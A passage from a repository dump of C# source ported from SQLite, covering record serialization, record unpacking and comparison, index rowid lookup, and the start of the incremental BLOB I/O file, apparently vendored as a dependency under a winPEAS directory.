is only big enough to hold the non-zero prefix, then only write that\n** prefix into buf[].  But if buf[] is large enough to hold both the\n** prefix and the tail then write the prefix and set the tail to all\n** zeros.\n**\n** Return the number of bytes actually written into buf[].  The number\n** of bytes in the zero-filled tail is included in the return value only\n** if those bytes were zeroed in buf[].\n*/\n    static u32 sqlite3VdbeSerialPut( byte[] buf, int offset, int nBuf, Mem pMem, int file_format )\n    {\n      u32 serial_type = sqlite3VdbeSerialType( pMem, file_format );\n      u32 len;\n\n      /* Integer and Real */\n      if ( serial_type <= 7 && serial_type > 0 )\n      {\n        u64 v;\n        u32 i;\n        if ( serial_type == 7 )\n        {\n          //Debug.Assert( sizeof( v) == sizeof(pMem.r));\n          v = (ulong)BitConverter.DoubleToInt64Bits( pMem.r );// memcpy( &v, pMem.r, v ).Length;\n#if  SQLITE_MIXED_ENDIAN_64BIT_FLOAT\nswapMixedEndianFloat( v );\n#endif\n        }\n        else\n        {\n          v = (ulong)pMem.u.i;\n        }\n        len = i = sqlite3VdbeSerialTypeLen( serial_type );\n        Debug.Assert( len <= (u32)nBuf );\n        while ( i-- != 0 )\n        {\n          buf[offset + i] = (u8)( v & 0xFF );\n          v >>= 8;\n        }\n        return len;\n      }\n\n      /* String or blob */\n      if ( serial_type >= 12 )\n      {\n        Debug.Assert( pMem.n + ( ( pMem.flags & MEM_Zero ) != 0 ? pMem.u.nZero : 0 ) == (int)sqlite3VdbeSerialTypeLen( serial_type ) );\n        Debug.Assert( pMem.n <= nBuf );\n        if ( ( len = (u32)pMem.n ) != 0 )\n          if (pMem.zBLOB==null && String.IsNullOrEmpty(pMem.z)) \n          {}\n        else if ( ( pMem.flags & MEM_Blob ) != 0 || pMem.z == null )\n            Buffer.BlockCopy( pMem.zBLOB, 0, buf, offset, (int)len );//memcpy( buf, pMem.z, len );\n          else\n            Buffer.BlockCopy( Encoding.UTF8.GetBytes( pMem.z ), 0, buf, offset, (int)len );//memcpy( buf, pMem.z, len );\n        if ( ( pMem.flags & MEM_Zero ) != 0 )\n        {\n          len += (u32)pMem.u.nZero;\n          Debug.Assert( nBuf >= 0 );\n          if ( len > (u32)nBuf )\n          {\n            len = (u32)nBuf;\n          }\n          Array.Clear( buf, offset + pMem.n, (int)( len - pMem.n ) );// memset( &buf[pMem.n], 0, len - pMem.n );\n        }\n        return len;\n      }\n\n      /* NULL or constants 0 or 1 */\n      return 0;\n    }\n\n    /*\n    ** Deserialize the data blob pointed to by buf as serial type serial_type\n    ** and store the result in pMem.  Return the number of bytes read.\n    */\n    static u32 sqlite3VdbeSerialGet(\n    byte[] buf,         /* Buffer to deserialize from */\n    int offset,         /* Offset into Buffer */\n    u32 serial_type,    /* Serial type to deserialize */\n    Mem pMem            /* Memory cell to write value into */\n    )\n    {\n      switch ( serial_type )\n      {\n        case 10:   /* Reserved for future use */\n        case 11:   /* Reserved for future use */\n        case 0:\n          {  /* NULL */\n            pMem.flags = MEM_Null;\n            pMem.n = 0;\n            pMem.z = null;\n            pMem.zBLOB = null;\n            break;\n          }\n        case 1:\n          { /* 1-byte signed integer */\n            pMem.u.i = (sbyte)buf[offset + 0];\n            pMem.flags = MEM_Int;\n            return 1;\n          }\n        case 2:\n          { /* 2-byte signed integer */\n            pMem.u.i = (int)( ( ( (sbyte)buf[offset + 0] ) << 8 ) | buf[offset + 1] );\n            pMem.flags = MEM_Int;\n            return 2;\n          }\n        case 3:\n          { /* 3-byte signed integer */\n            pMem.u.i = (int)( ( ( (sbyte)buf[offset + 0] ) << 16 ) | ( buf[offset + 1] << 8 ) | buf[offset + 2] );\n            pMem.flags = MEM_Int;\n            return 3;\n          }\n        case 4:\n          { /* 4-byte signed integer */\n            pMem.u.i = (int)( ( (sbyte)buf[offset + 0] << 24 ) | ( buf[offset + 1] << 16 ) | ( buf[offset + 2] << 8 ) | buf[offset + 3] );\n            pMem.flags = MEM_Int;\n            return 4;\n          }\n        case 5:\n          { /* 6-byte signed integer */\n            u64 x = (ulong)( ( ( (sbyte)buf[offset + 0] ) << 8 ) | buf[offset + 1] );\n            u32 y = (u32)( ( buf[offset + 2] << 24 ) | ( buf[offset + 3] << 16 ) | ( buf[offset + 4] << 8 ) | buf[offset + 5] );\n            x = ( x << 32 ) | y;\n            pMem.u.i = (i64)x;\n            pMem.flags = MEM_Int;\n            return 6;\n          }\n        case 6:   /* 8-byte signed integer */\n        case 7:\n          { /* IEEE floating point */\n            u64 x;\n            u32 y;\n#if !NDEBUG && !SQLITE_OMIT_FLOATING_POINT\n            /* Verify that integers and floating point values use the same\n** byte order.  Or, that if SQLITE_MIXED_ENDIAN_64BIT_FLOAT is\n** defined that 64-bit floating point values really are mixed\n** endian.\n*/\n            const u64 t1 = ( (u64)0x3ff00000 ) << 32;\n            const double r1 = 1.0;\n            u64 t2 = t1;\n#if  SQLITE_MIXED_ENDIAN_64BIT_FLOAT\nswapMixedEndianFloat(t2);\n#endif\n            Debug.Assert( sizeof( double ) == sizeof( u64 ) && memcmp( BitConverter.GetBytes( r1 ), BitConverter.GetBytes( t2 ), sizeof( double ) ) == 0 );//Debug.Assert( sizeof(r1)==sizeof(t2) && memcmp(&r1, t2, sizeof(r1))==0 );\n#endif\n\n            x = (u64)( ( buf[offset + 0] << 24 ) | ( buf[offset + 1] << 16 ) | ( buf[offset + 2] << 8 ) | buf[offset + 3] );\n            y = (u32)( ( buf[offset + 4] << 24 ) | ( buf[offset + 5] << 16 ) | ( buf[offset + 6] << 8 ) | buf[offset + 7] );\n            x = ( x << 32 ) | y;\n            if ( serial_type == 6 )\n            {\n              pMem.u.i = (i64)x;\n              pMem.flags = MEM_Int;\n            }\n            else\n            {\n              Debug.Assert( sizeof( i64 ) == 8 && sizeof( double ) == 8 );\n#if  SQLITE_MIXED_ENDIAN_64BIT_FLOAT\nswapMixedEndianFloat(x);\n#endif\n              pMem.r = BitConverter.Int64BitsToDouble( (long)x );// memcpy(pMem.r, x, sizeof(x))\n              pMem.flags = (u16)( sqlite3IsNaN( pMem.r ) ? MEM_Null : MEM_Real );\n            }\n            return 8;\n          }\n        case 8:    /* Integer 0 */\n        case 9:\n          {  /* Integer 1 */\n            pMem.u.i = serial_type - 8;\n            pMem.flags = MEM_Int;\n            return 0;\n          }\n        default:\n          {\n            u32 len = ( serial_type - 12 ) / 2;\n            pMem.n = (int)len;\n            pMem.xDel = null;\n            if ( ( serial_type & 0x01 ) != 0 )\n            {\n              pMem.flags = MEM_Str | MEM_Ephem;\n              pMem.z = Encoding.UTF8.GetString( buf, offset, (int)len );//memcpy( buf, pMem.z, len );\n              pMem.n = pMem.z.Length;\n              pMem.zBLOB = null;\n            }\n            else\n            {\n              pMem.z = null;\n              pMem.zBLOB = new byte[len];\n              pMem.flags = MEM_Blob | MEM_Ephem;\n              Buffer.BlockCopy( buf, offset, pMem.zBLOB, 0, (int)len );//memcpy( buf, pMem.z, len );\n            }\n            return len;\n          }\n      }\n      return 0;\n    }\n\n    static int sqlite3VdbeSerialGet(\n    byte[] buf,     /* Buffer to deserialize from */\n    u32 serial_type,              /* Serial type to deserialize */\n    Mem pMem                     /* Memory cell to write value into */\n    )\n    {\n      switch ( serial_type )\n      {\n        case 10:   /* Reserved for future use */\n        case 11:   /* Reserved for future use */\n        case 0:\n          {  /* NULL */\n            pMem.flags = MEM_Null;\n            break;\n          }\n        case 1:\n          { /* 1-byte signed integer */\n            pMem.u.i = (sbyte)buf[0];\n            pMem.flags = MEM_Int;\n            return 1;\n          }\n        case 2:\n          { /* 2-byte signed integer */\n            pMem.u.i = (int)( ( ( buf[0] ) << 8 ) | buf[1] );\n            pMem.flags = MEM_Int;\n            return 2;\n          }\n        case 3:\n          { /* 3-byte signed integer */\n            pMem.u.i = (int)( ( ( buf[0] ) << 16 ) | ( buf[1] << 8 ) | buf[2] );\n            pMem.flags = MEM_Int;\n            return 3;\n          }\n        case 4:\n          { /* 4-byte signed integer */\n            pMem.u.i = (int)( ( buf[0] << 24 ) | ( buf[1] << 16 ) | ( buf[2] << 8 ) | buf[3] );\n            pMem.flags = MEM_Int;\n            return 4;\n          }\n        case 5:\n          { /* 6-byte signed integer */\n            u64 x = (ulong)( ( ( buf[0] ) << 8 ) | buf[1] );\n            u32 y = (u32)( ( buf[2] << 24 ) | ( buf[3] << 16 ) | ( buf[4] << 8 ) | buf[5] );\n            x = ( x << 32 ) | y;\n            pMem.u.i = (i64)x;\n            pMem.flags = MEM_Int;\n            return 6;\n          }\n        case 6:   /* 8-byte signed integer */\n        case 7:\n          { /* IEEE floating point */\n            u64 x;\n            u32 y;\n#if !NDEBUG && !SQLITE_OMIT_FLOATING_POINT\n            /* Verify that integers and floating point values use the same\n** byte order.  Or, that if SQLITE_MIXED_ENDIAN_64BIT_FLOAT is\n** defined that 64-bit floating point values really are mixed\n** endian.\n*/\n            const u64 t1 = ( (u64)0x3ff00000 ) << 32;\n            const double r1 = 1.0;\n            u64 t2 = t1;\n#if  SQLITE_MIXED_ENDIAN_64BIT_FLOAT\nswapMixedEndianFloat(t2);\n#endif\n            Debug.Assert( sizeof( double ) == sizeof( u64 ) && memcmp( BitConverter.GetBytes( r1 ), BitConverter.GetBytes( t2 ), sizeof( double ) ) == 0 );//Debug.Assert( sizeof(r1)==sizeof(t2) && memcmp(&r1, t2, sizeof(r1))==0 );\n#endif\n\n            x = (u64)( ( buf[0] << 24 ) | ( buf[1] << 16 ) | ( buf[2] << 8 ) | buf[3] );\n            y = (u32)( ( buf[4] << 24 ) | ( buf[5] << 16 ) | ( buf[6] << 8 ) | buf[7] );\n            x = ( x << 32 ) | y;\n            if ( serial_type == 6 )\n            {\n              pMem.u.i = (i64)x;\n              pMem.flags = MEM_Int;\n            }\n            else\n            {\n              Debug.Assert( sizeof( i64 ) == 8 && sizeof( double ) == 8 );\n#if  SQLITE_MIXED_ENDIAN_64BIT_FLOAT\nswapMixedEndianFloat(x);\n#endif\n              pMem.r = BitConverter.Int64BitsToDouble( (long)x );// memcpy(pMem.r, x, sizeof(x))\n              pMem.flags = MEM_Real;\n            }\n            return 8;\n          }\n        case 8:    /* Integer 0 */\n        case 9:\n          {  /* Integer 1 */\n            pMem.u.i = serial_type - 8;\n            pMem.flags = MEM_Int;\n            return 0;\n          }\n        default:\n          {\n            int len = (int)( ( serial_type - 12 ) / 2 );\n            pMem.xDel = null;\n            if ( ( serial_type & 0x01 ) != 0 )\n            {\n              pMem.flags = MEM_Str | MEM_Ephem;\n              pMem.z = Encoding.UTF8.GetString( buf, 0, len );//memcpy( buf, pMem.z, len );\n              pMem.n = pMem.z.Length;// len;\n              pMem.zBLOB = null;\n            }\n            else\n            {\n              pMem.flags = MEM_Blob | MEM_Ephem;\n              pMem.zBLOB = new byte[len];\n              buf.CopyTo( pMem.zBLOB, 0 );\n              pMem.n = len;// len;\n              pMem.z = null;\n            }\n            return len;\n          }\n      }\n      return 0;\n    }\n\n    /*\n    ** Given the nKey-byte encoding of a record in pKey[], parse the\n    ** record into a UnpackedRecord structure.  Return a pointer to\n    ** that structure.\n    **\n    ** The calling function might provide szSpace bytes of memory\n    ** space at pSpace.  This space can be used to hold the returned\n    ** VDbeParsedRecord structure if it is large enough.  If it is\n    ** not big enough, space is obtained from sqlite3Malloc().\n    **\n    ** The returned structure should be closed by a call to\n    ** sqlite3VdbeDeleteUnpackedRecord().\n    */\n    static UnpackedRecord sqlite3VdbeRecordUnpack(\n    KeyInfo pKeyInfo,   /* Information about the record format */\n    int nKey,           /* Size of the binary record */\n    byte[] pKey,        /* The binary record */\n    UnpackedRecord pSpace, //  char *pSpace,          /* Unaligned space available to hold the object */\n    int szSpace         /* Size of pSpace[] in bytes */\n    )\n    {\n      byte[] aKey = pKey;\n      UnpackedRecord p;     /* The unpacked record that we will return */\n      int nByte;            /* Memory space needed to hold p, in bytes */\n      int d;\n      u32 idx;\n      int u;                /* Unsigned loop counter */\n      int szHdr = 0;\n      Mem pMem;\n      int nOff;           /* Increase pSpace by this much to 8-byte align it */\n\n      /*\n      ** We want to shift the pointer pSpace up such that it is 8-byte aligned.\n      ** Thus, we need to calculate a value, nOff, between 0 and 7, to shift\n      ** it by.  If pSpace is already 8-byte aligned, nOff should be zero.\n      */\n      //nOff = ( 8 - ( SQLITE_PTR_TO_INT( pSpace ) & 7 ) ) & 7;\n      //pSpace += nOff;\n      //szSpace -= nOff;\n      //nByte = ROUND8( sizeof( UnpackedRecord ) ) + sizeof( Mem ) * ( pKeyInfo->nField + 1 );\n      //if ( nByte > szSpace)\n      //{\n      //  p = new UnpackedRecord();//sqlite3DbMallocRaw(pKeyInfo.db, nByte);\n      //  if ( p == null ) return null;\n      //  p.flags = UNPACKED_NEED_FREE | UNPACKED_NEED_DESTROY;\n      //}\n      //else\n      {\n        p = pSpace;//(UnpackedRecord*)pSpace;\n        p.flags = UNPACKED_NEED_DESTROY;\n      }\n      p.pKeyInfo = pKeyInfo;\n      p.nField = (u16)( pKeyInfo.nField + 1 );\n      //p->aMem = pMem = (Mem*)&( (char*)p )[ROUND8( sizeof( UnpackedRecord ) )];\n      //assert( EIGHT_BYTE_ALIGNMENT( pMem ) );\n      p.aMem = new Mem[p.nField + 1];\n      idx = (u32)getVarint32( aKey, 0, ref szHdr );// GetVarint( aKey, szHdr );\n      d = (int)szHdr;\n      u = 0;\n      while ( idx < (int)szHdr && u < p.nField && d <= nKey )\n      {\n        p.aMem[u] = new Mem();\n        pMem = p.aMem[u];\n        u32 serial_type = 0;\n\n        idx += (u32)getVarint32( aKey, idx, ref serial_type );// GetVarint( aKey + idx, serial_type );\n        pMem.enc = pKeyInfo.enc;\n        pMem.db = pKeyInfo.db;\n        pMem.flags = 0;\n        //pMem.zMalloc = null;\n        d += (int)sqlite3VdbeSerialGet( aKey, d, serial_type, pMem );\n        //pMem++;\n        u++;\n      }\n      Debug.Assert( u <= pKeyInfo.nField + 1 );\n      p.nField = (u16)u;\n      return p;// (void*)p;\n    }\n\n    /*\n    ** This routine destroys a UnpackedRecord object.\n    */\n    static void sqlite3VdbeDeleteUnpackedRecord( UnpackedRecord p )\n    {\n      int i;\n      Mem pMem;\n      Debug.Assert( p != null );\n      Debug.Assert( ( p.flags & UNPACKED_NEED_DESTROY ) != 0 );\n      //for ( i = 0, pMem = p->aMem ; i < p->nField ; i++, pMem++ )\n      //{\n      //  /* The unpacked record is always constructed by the\n      //  ** sqlite3VdbeUnpackRecord() function above, which makes all\n      //  ** strings and blobs static.  And none of the elements are\n      //  ** ever transformed, so there is never anything to delete.\n      //  */\n      //  if ( NEVER( pMem->zMalloc ) ) sqlite3VdbeMemRelease( pMem );\n      //}\n      if ( ( p.flags & UNPACKED_NEED_FREE ) != 0 )\n      {\n        p = null;//sqlite3DbFree( p.pKeyInfo.db, ref p );\n      }\n    }\n\n    /*\n    ** This function compares the two table rows or index records\n    ** specified by {nKey1, pKey1} and pPKey2.  It returns a negative, zero\n    ** or positive integer if key1 is less than, equal to or\n    ** greater than key2.  The {nKey1, pKey1} key must be a blob\n    ** created by th OP_MakeRecord opcode of the VDBE.  The pPKey2\n    ** key must be a parsed key such as obtained from\n    ** sqlite3VdbeParseRecord.\n    **\n    ** Key1 and Key2 do not have to contain the same number of fields.\n    ** The key with fewer fields is usually compares less than the\n    ** longer key.  However if the UNPACKED_INCRKEY flags in pPKey2 is set\n    ** and the common prefixes are equal, then key1 is less than key2.\n    ** Or if the UNPACKED_MATCH_PREFIX flag is set and the prefixes are\n    ** equal, then the keys are considered to be equal and\n    ** the parts beyond the common prefix are ignored.\n    **\n    ** If the UNPACKED_IGNORE_ROWID flag is set, then the last byte of\n    ** the header of pKey1 is ignored.  It is assumed that pKey1 is\n    ** an index key, and thus ends with a rowid value.  The last byte\n    ** of the header will therefore be the serial type of the rowid:\n    ** one of 1, 2, 3, 4, 5, 6, 8, or 9 - the integer serial types.\n    ** The serial type of the final rowid will always be a single byte.\n    ** By ignoring this last byte of the header, we force the comparison\n    ** to ignore the rowid at the end of key1.\n    */\n\n    // ALTERNATE FORM for C#\n    static int sqlite3VdbeRecordCompare(\n    int nKey1, byte[] pKey1,    /* Left key */\n    UnpackedRecord pPKey2       /* Right key */\n    )\n    {\n      return sqlite3VdbeRecordCompare( nKey1, pKey1, 0, pPKey2 );\n    }\n\n    static int sqlite3VdbeRecordCompare(\n    int nKey1, byte[] pKey1,    /* Left key */\n    int offset,\n    UnpackedRecord pPKey2       /* Right key */\n    )\n    {\n      int d1;            /* Offset into aKey[] of next data element */\n      u32 idx1;          /* Offset into aKey[] of next header element */\n      u32 szHdr1;        /* Number of bytes in header */\n      int i = 0;\n      int nField;\n      int rc = 0;\n      byte[] aKey1 = new byte[pKey1.Length - offset];\n      Buffer.BlockCopy( pKey1, offset, aKey1, 0, aKey1.Length );\n      KeyInfo pKeyInfo;\n\n      Mem mem1 = new Mem();\n      pKeyInfo = pPKey2.pKeyInfo;\n      mem1.enc = pKeyInfo.enc;\n      mem1.db = pKeyInfo.db;\n      mem1.flags = 0;\n      mem1.u.i = 0;  /* not needed, here to silence compiler warning */\n      //mem1.zMalloc = null;\n\n      idx1 = (u32)( ( szHdr1 = aKey1[0] ) <= 0x7f ? 1 : getVarint32( aKey1, 0, ref szHdr1 ) );// GetVarint( aKey1, szHdr1 );\n      d1 = (int)szHdr1;\n      if ( ( pPKey2.flags & UNPACKED_IGNORE_ROWID ) != 0 )\n      {\n        szHdr1--;\n      }\n      nField = pKeyInfo.nField;\n      while ( idx1 < szHdr1 && i < pPKey2.nField )\n      {\n        u32 serial_type1;\n\n        /* Read the serial types for the next element in each key. */\n        idx1 += (u32)( ( serial_type1 = aKey1[idx1] ) <= 0x7f ? 1 : getVarint32( aKey1, idx1, ref serial_type1 ) ); //GetVarint( aKey1 + idx1, serial_type1 );\n        if ( d1 >= nKey1 && sqlite3VdbeSerialTypeLen( serial_type1 ) > 0 ) break;\n\n        /* Extract the values to be compared.\n        */\n        d1 += (int)sqlite3VdbeSerialGet( aKey1, d1, serial_type1, mem1 );\n\n        /* Do the comparison\n        */\n        rc = sqlite3MemCompare( mem1, pPKey2.aMem[i], i < nField ? pKeyInfo.aColl[i] : null );\n        if ( rc != 0 )\n        {\n          break;\n        }\n        i++;\n      }\n      /* No memory allocation is ever used on mem1. */\n      //if ( NEVER( mem1.zMalloc ) ) sqlite3VdbeMemRelease( &mem1 );\n\n      /* If the PREFIX_SEARCH flag is set and all fields except the final\n      ** rowid field were equal, then clear the PREFIX_SEARCH flag and set\n      ** pPKey2->rowid to the value of the rowid field in (pKey1, nKey1).\n      ** This is used by the OP_IsUnique opcode.\n      */\n      if ( ( pPKey2.flags & UNPACKED_PREFIX_SEARCH ) != 0 && i == ( pPKey2.nField - 1 ) )\n      {\n        Debug.Assert( idx1 == szHdr1 && rc != 0 );\n        Debug.Assert( ( mem1.flags & MEM_Int ) != 0 );\n        pPKey2.flags = (ushort)( pPKey2.flags & ~UNPACKED_PREFIX_SEARCH );\n        pPKey2.rowid = mem1.u.i;\n      }\n\n      if ( rc == 0 )\n      {\n        /* rc==0 here means that one of the keys ran out of fields and\n        ** all the fields up to that point were equal. If the UNPACKED_INCRKEY\n        ** flag is set, then break the tie by treating key2 as larger.\n        ** If the UPACKED_PREFIX_MATCH flag is set, then keys with common prefixes\n        ** are considered to be equal.  Otherwise, the longer key is the\n        ** larger.  As it happens, the pPKey2 will always be the longer\n        ** if there is a difference.\n        */\n        if ( ( pPKey2.flags & UNPACKED_INCRKEY ) != 0 )\n        {\n          rc = -1;\n        }\n        else if ( ( pPKey2.flags & UNPACKED_PREFIX_MATCH ) != 0 )\n        {\n          /* Leave rc==0 */\n        }\n        else if ( idx1 < szHdr1 )\n        {\n          rc = 1;\n        }\n      }\n      else if ( pKeyInfo.aSortOrder != null && i < pKeyInfo.nField\n      && pKeyInfo.aSortOrder[i] != 0 )\n      {\n        rc = -rc;\n      }\n\n      return rc;\n    }\n\n    /*\n    ** pCur points at an index entry created using the OP_MakeRecord opcode.\n    ** Read the rowid (the last field in the record) and store it in *rowid.\n    ** Return SQLITE_OK if everything works, or an error code otherwise.\n    **\n    ** pCur might be pointing to text obtained from a corrupt database file.\n    ** So the content cannot be trusted.  Do appropriate checks on the content.\n    */\n    static int sqlite3VdbeIdxRowid( sqlite3 db, BtCursor pCur, ref i64 rowid )\n    {\n      i64 nCellKey = 0;\n      int rc;\n      u32 szHdr = 0;        /* Size of the header */\n      u32 typeRowid = 0;    /* Serial type of the rowid */\n      u32 lenRowid;       /* Size of the rowid */\n      Mem m = new Mem(); Mem v = new Mem();\n\n      /* Get the size of the index entry.  Only indices entries of less\n      ** than 2GiB are support - anything large must be database corruption.\n      ** Any corruption is detected in sqlite3BtreeParseCellPtr(), though, so\n      ** this code can safely assume that nCellKey is 32-bits  \n      */\n      Debug.Assert( sqlite3BtreeCursorIsValid( pCur ) );\n      rc = sqlite3BtreeKeySize( pCur, ref nCellKey );\n      Debug.Assert( rc == SQLITE_OK );     /* pCur is always valid so KeySize cannot fail */\n      Debug.Assert( ( (u32)nCellKey & SQLITE_MAX_U32 ) == (u64)nCellKey );\n\n      /* Read in the complete content of the index entry */\n      m.flags = 0;\n      m.db = db;\n      //m.zMalloc = null;\n      rc = sqlite3VdbeMemFromBtree( pCur, 0, (int)nCellKey, true, m );\n      if ( rc != 0 )\n      {\n        return rc;\n      }\n\n      /* The index entry must begin with a header size */\n      getVarint32( m.zBLOB, 0, ref szHdr );\n      testcase( szHdr == 3 );\n      testcase( szHdr == m.n );\n      if ( unlikely( szHdr < 3 || (int)szHdr > m.n ) )\n      {\n        goto idx_rowid_corruption;\n      }\n\n      /* The last field of the index should be an integer - the ROWID.\n      ** Verify that the last entry really is an integer. */\n      getVarint32( m.zBLOB, szHdr - 1, ref typeRowid );\n      testcase( typeRowid == 1 );\n      testcase( typeRowid == 2 );\n      testcase( typeRowid == 3 );\n      testcase( typeRowid == 4 );\n      testcase( typeRowid == 5 );\n      testcase( typeRowid == 6 );\n      testcase( typeRowid == 8 );\n      testcase( typeRowid == 9 );\n      if ( unlikely( typeRowid < 1 || typeRowid > 9 || typeRowid == 7 ) )\n      {\n        goto idx_rowid_corruption;\n      }\n      lenRowid = (u32)sqlite3VdbeSerialTypeLen( typeRowid );\n      testcase( (u32)m.n == szHdr + lenRowid );\n      if ( unlikely( (u32)m.n < szHdr + lenRowid ) )\n      {\n        goto idx_rowid_corruption;\n      }\n\n      /* Fetch the integer off the end of the index record */\n      sqlite3VdbeSerialGet( m.zBLOB, (int)( m.n - lenRowid ), typeRowid, v );\n      rowid = v.u.i;\n      sqlite3VdbeMemRelease( m );\n      return SQLITE_OK;\n\n      /* Jump here if database corruption is detected after m has been\n      ** allocated.  Free the m object and return SQLITE_CORRUPT. */\nidx_rowid_corruption:\n      //testcase( m.zMalloc != 0 );\n      sqlite3VdbeMemRelease( m );\n#if SQLITE_DEBUG\n      return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n    }\n\n    /*\n    ** Compare the key of the index entry that cursor pC is pointing to against\n    ** the key string in pUnpacked.  Write into *pRes a number\n    ** that is negative, zero, or positive if pC is less than, equal to,\n    ** or greater than pUnpacked.  Return SQLITE_OK on success.\n    **\n    ** pUnpacked is either created without a rowid or is truncated so that it\n    ** omits the rowid at the end.  The rowid at the end of the index entry\n    ** is ignored as well.  Hence, this routine only compares the prefixes \n    ** of the keys prior to the final rowid, not the entire key.\n    */\n    static int sqlite3VdbeIdxKeyCompare(\n    VdbeCursor pC,              /* The cursor to compare against */\n    UnpackedRecord pUnpacked,   /* Unpacked version of key to compare against */\n    ref int res                 /* Write the comparison result here */\n    )\n    {\n      i64 nCellKey = 0;\n      int rc;\n      BtCursor pCur = pC.pCursor;\n      Mem m = new Mem();\n\n      Debug.Assert( sqlite3BtreeCursorIsValid( pCur ) );\n      rc = sqlite3BtreeKeySize( pCur, ref nCellKey );\n      Debug.Assert( rc == SQLITE_OK );    /* pCur is always valid so KeySize cannot fail */\n      /* nCellKey will always be between 0 and 0xffffffff because of the say\n      ** that btreeParseCellPtr() and sqlite3GetVarint32() are implemented */\n      if ( nCellKey <= 0 || nCellKey > 0x7fffffff )\n      {\n        res = 0;\n        return SQLITE_CORRUPT;\n      }\n      m.flags = 0;\n      m.db = null;\n      //m.zMalloc = null;\n      rc = sqlite3VdbeMemFromBtree( pC.pCursor, 0, (int)nCellKey, true, m );\n      if ( rc != 0 )\n      {\n        return rc;\n      }\n      Debug.Assert( ( pUnpacked.flags & UNPACKED_IGNORE_ROWID ) != 0 );\n      res = sqlite3VdbeRecordCompare( m.n, m.zBLOB, pUnpacked );\n      sqlite3VdbeMemRelease( m );\n      return SQLITE_OK;\n    }\n\n    /*\n    ** This routine sets the value to be returned by subsequent calls to\n    ** sqlite3_changes() on the database handle 'db'.\n    */\n    static void sqlite3VdbeSetChanges( sqlite3 db, int nChange )\n    {\n      Debug.Assert( sqlite3_mutex_held( db.mutex ) );\n      db.nChange = nChange;\n      db.nTotalChange += nChange;\n    }\n\n    /*\n    ** Set a flag in the vdbe to update the change counter when it is finalised\n    ** or reset.\n    */\n    static void sqlite3VdbeCountChanges( Vdbe v )\n    {\n      v.changeCntOn = true;\n    }\n\n    /*\n    ** Mark every prepared statement associated with a database connection\n    ** as expired.\n    **\n    ** An expired statement means that recompilation of the statement is\n    ** recommend.  Statements expire when things happen that make their\n    ** programs obsolete.  Removing user-defined functions or collating\n    ** sequences, or changing an authorization function are the types of\n    ** things that make prepared statements obsolete.\n    */\n    static void sqlite3ExpirePreparedStatements( sqlite3 db )\n    {\n      Vdbe p;\n      for ( p = db.pVdbe ; p != null ; p = p.pNext )\n      {\n        p.expired = true;\n      }\n    }\n\n    /*\n    ** Return the database associated with the Vdbe.\n    */\n    static sqlite3 sqlite3VdbeDb( Vdbe v )\n    {\n      return v.db;\n    }\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/vdbeblob_c.cs",
    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n    public partial class CSSQLite\n  {\n    /*\n    ** 2007 May 1\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    **\n    ** This file contains code used to implement incremental BLOB I/O.\n    **\n    ** $Id: vdbeblob.c,v 1.35 2009/07/02 07:47:33 danielk1977 Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n\n    //#include \"sqliteInt.h\"\n    //#include \"vdbeInt.h\"\n\n#if !SQLITE_OMIT_INCRBLOB\n\n/*\n** Valid sqlite3_blob* handles point to Incrblob structures.\n*/\n//typedef struct Incrblob Incrblob;\npublic struct Incrblob\n{\nint flags;              /* Copy of \"flags\" passed to sqlite3_blob_open() */\nint nByte;              /* Size of open blob, in bytes */\nint iOffset;            /* Byte offset of blob in cursor data */\nBtCursor pCsr;         /* Cursor pointing at blob row */\nsqlite3_stmt pStmt;    /* Statement holding cursor open */\nsqlite3 db;            /* The associated database */\n};\n\n/*\n** Open a blob handle.\n*/\n//int sqlite3_blob_open(\n//  sqlite3* db,            /* The database connection */\n//  const char *zDb,        /* The attached database containing the blob */\n//  const char *zTable,     /* The table containing the blob */\n//  const char *zColumn,    /* The column containing the blob */\n//  sqlite_int64 iRow,      /* The row containing the glob */\n//  int flags,              /* True . read/write access, false . read-only */\n//  sqlite3_blob **ppBlob   /* Handle for accessing the blob returned here */\n//){\n//  int nAttempt = 0;\n//  int iCol;               /* Index of zColumn in row-record */\n\n//  /* This VDBE program seeks a btree cursor to the identified\n//  ** db/table/row entry. The reason for using a vdbe program instead\n//  ** of writing code to use the b-tree layer directly is that the\n//  ** vdbe program will take advantage of the various transaction,\n//  ** locking and error handling infrastructure built into the vdbe.\n//  **\n//  ** After seeking the cursor, the vdbe executes an OP_ResultRow.\n//  ** Code external to the Vdbe then \"borrows\" the b-tree cursor and\n//  ** uses it to implement the blob_read(), blob_write() and\n//  ** blob_bytes() functions.\n//  **\n//  ** The sqlite3_blob_close() function finalizes the vdbe program,\n//  ** which closes the b-tree cursor and (possibly) commits the\n//  ** transaction.\n//  */\n//  static const VdbeOpList openBlob[] = {\n//    {OP_Transaction, 0, 0, 0},     /* 0: Start a transaction */\n//    {OP_VerifyCookie, 0, 0, 0},    /* 1: Check the schema cookie */\n\n//    /* One of the following two instructions is replaced by an OP_Noop. */\n//    {OP_OpenRead, 0, 0, 0},        /* 3: Open cursor 0 for reading */\n//    {OP_OpenWrite, 0, 0, 0},       /* 4: Open cursor 0 for read/write */\n//\n//    {OP_Variable, 1, 1, 1},        /* 5: Push the rowid to the stack */\n//    {OP_NotExists, 0, 9, 1},       /* 6: Seek the cursor */\n//    {OP_Column, 0, 0, 1},          /* 7  */\n//    {OP_ResultRow, 1, 0, 0},       /* 8  */\n//    {OP_Close, 0, 0, 0},           /* 9  */\n//    {OP_Halt, 0, 0, 0},            /* 10 */\n//  };\n\n//  Vdbe *v = 0;\n//  int rc = SQLITE_OK;\n//  char *zErr = 0;\n//  Table *pTab;\n//  Parse *pParse;\n\n//  *ppBlob = 0;\n//  sqlite3_mutex_enter(db.mutex);\n//  pParse = sqlite3StackAllocRaw(db, sizeof(*pParse));\n//  if( pParse==0 ){\n//    rc = SQLITE_NOMEM;\n//    goto blob_open_out;\n//  }\n//  do {\n//    memset(pParse, 0, sizeof(Parse));\n//    pParse->db = db;\n//if( sqlite3SafetyOn(db) ){\n//      